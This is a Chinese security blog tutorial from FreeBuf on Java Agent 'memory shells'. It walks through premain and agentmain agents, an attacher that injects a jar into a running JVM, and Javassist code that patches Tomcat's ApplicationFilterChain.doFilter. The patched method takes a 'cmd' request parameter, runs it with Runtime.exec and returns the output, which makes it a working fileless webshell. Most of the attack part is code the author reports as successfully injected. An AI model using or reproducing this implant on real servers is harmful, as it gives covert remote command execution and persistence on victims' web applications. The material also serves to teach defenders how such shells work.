freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

初识Java Agent 内存马
2024-09-22 16:13:30

一 前置原理

内存马存在4种类型:Filter型、Servlet型、Listener型、Agent型

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 
  2. 实现 agentmain 方法,在启动后进行加载

Java Agent允许程序员利用agent技术构建一个独立于应用程序的代理程序,用途也非常广泛,可以协助监测、运行、甚至替换其他JVM上的程序

VirtualMachine

先了解一下 VirtualMachine, 可以通过此接口的实例直接或间接访问所有其他镜像,此接口直接支持访问全局VM属性和控制VM执行,主要方法如下:VirtualMachine - Java 11中文版 - API参考文档 (apiref.com),通过 VirtualMachine 可以找到其他运行的jvm,如果我们可以使用这种方式修改其他程序,那么就达到了注入的效果

1726924388_66eec664748024619474f.png!small

Instrumentation

使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。主要方法如下:Instrumentation 包/类/方法中文说明 - Java 11 API中文版 - 手册 - 时代Java (nowjava.com)

1726978629_66ef9a45bfac31c148df8.png!small?1726978629565

Javassit

可看下文

Java字节码操作神器:Javassist入门指南_java javasist-CSDN博客

Javassist中文技术文档 - 程序诗人 - 博客园 (cnblogs.com)

javassist使用全解析 - rickiyang - 博客园 (cnblogs.com)

二 preMain

JVM启动前加载

注入代码

public class MyPremain {
        public static void premain(String agentArgs, Instrumentation inst) {
                System.out.println("MyPremain");
        }
}

之后添加工件

1726932790_66eee736db8247eef7ed7.png!small?1726932791172

构建jar包时一定要将其中MANIFEST.MF文件中的main-class需要改为premain-class

1726929900_66eedbec51ea272e9503f.png!small?1726929899795

这是我们的被注入程序,打包成jar

public class Main {
        public static void main(String[] args) {

                for (int i = 0; i < 100; i++) {
                        System.out.println("Hello World");
                        try {
                                Thread.sleep(5000);
                        } catch (InterruptedException e) {

                        }
                }
        }
}

在命令行利用 -javaagent来实现启动时加载,此时效果如下,可以看到先执行了我们的恶意jar

1726924013_66eec4ed5f6a0f069e42a.png!small


三 agentMain

JVM启动后加载

还是先写一个恶意类,同样的构建jar包时必须更改MANIFEST.MF文件

1726929824_66eedba02083b5000e853.png!small?1726929823578

Manifest-Version: 1.0
Agent-Class: com.agentmain_test.myAgentMain

由于是运行时注入,所以我们需要一个注入器,注入器主要通过VirtualMachine实现,VirtualMachine.list获取到jvm虚拟机列表,然后通过loadAgent方法可以加载我们需要加载的恶意方法,此时我们就可以将jar注入到正在运行的程序中

首先需要添加tools.jar的依赖

1726933266_66eee91237e2589804cd3.png!small?1726933266115

注入器代码

public static void main(String[] args) throws IOException, AttachNotSupportedException {
                List<VirtualMachineDescriptor> list = VirtualMachine.list();
                for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
                        if(virtualMachineDescriptor.displayName() == "com.agent.Main"){
                                VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor);
                                try {
                                        attach.loadAgent("agent 的jar文件位置");
                                } catch (AgentLoadException e) {
                                        throw new RuntimeException(e);
                                } catch (AgentInitializationException e) {
                                        throw new RuntimeException(e);
                                }
                        }
                }
        }

启动我们的目标项目和注入器,注入成功

1726931494_66eee226c4ff88593fd0b.png!small?1726931494567

1726931173_66eee0e54529843b4e2e5.png!small?1726931173439

四 内存马实现

启动tomcat,以此检测agent注入时在tomcat等中间件中的可行性,可以看到同样可以被注入

1726980156_66efa03c1e8947dcff948.png!small?1726980155760

同时修改agent代码如下

public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"\n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}

通过 inst.getAllLoadedClasses 获取到我们可以修改和注入的类,而对于寻找被注入的类,必须满足两个条件:

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

对于用户请求到达服务器之前,Filter、Servlet是一定会被经过的,而在ApplicationFilterChain#doFilter、HttpServlet#service还封装了我们用户请求的 request 和 response,如果我们能够注入这些方法,那么我们不就可以直接获取用户的请求,进而将执行结果写在 response 中进行返回1726982042_66efa79a17431ddc8a7fc.png!small?1726982041868

1726982069_66efa7b5b0de05ab93ebd.png!small?1726982069501


完善agentMain代码,使其执行我们的代码

public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException {
                Class[] classes = inst.getAllLoadedClasses();

                for (Class aClass : classes) {
                       if (aClass.getName().equals("要注入的类")) {
                               // 创建类池
                              ClassPool classPool = ClassPool.getDefault();
                              ClassClassPath classPath = new ClassClassPath(aClass);
                              classPool.insertClassPath(classPath);

                               CtClass ctClass = classPool.get(aClass.getName());
                               CtMethod service = ctClass.getDeclaredMethod("service");
                               service.insertBefore("执行的恶意代码");
                               ctClass.detach();

                              byte[] bytecode = ctClass.toBytecode();
                               inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)});
                       }
                }

                System.out.println("注入成功");
}

此时我注入的是 javax.servlet.http.HttpServlet 类,效果如下

1726984931_66efb2e35dee8242376d8.png!small?1726984931342

此时已经注入成功

现在我们修改要执行的代码,并且模拟一个真实环境

参考的这位师傅的dofilter代码(service只是把类和方法更换就好) 浅谈 Java Agent 内存马-腾讯云开发者社区-腾讯云 (tencent.com)主要service这里一直报错没有解决掉,哭死

public class myAgentMain {
        public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
                ClassPool pool = ClassPool.getDefault();
               

                CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
                CtMethod service = ctClass.getDeclaredMethod("doFilter");

                // 插入代码,确保所有类都已正确导入
                String toInsert = "javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}";
                service.insertBefore(toInsert);

                byte[] bytecode = ctClass.toBytecode();
                inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode));
                System.out.println("注入成功");
        }
}

1726990743_66efc997b9d6b27e8bcdf.png!small?1726990743573

1726990594_66efc90299ec1799d2eda.png!small?1726990594568

可以看到也是成功注入的

五 内存马利用方式

【原创】利用“进程注入”实现无文件不死webshell - rebeyond - 博客园 (cnblogs.com)

论如何优雅的注入 Java Agent 内存马 (seebug.org)

# 网络安全 # web安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录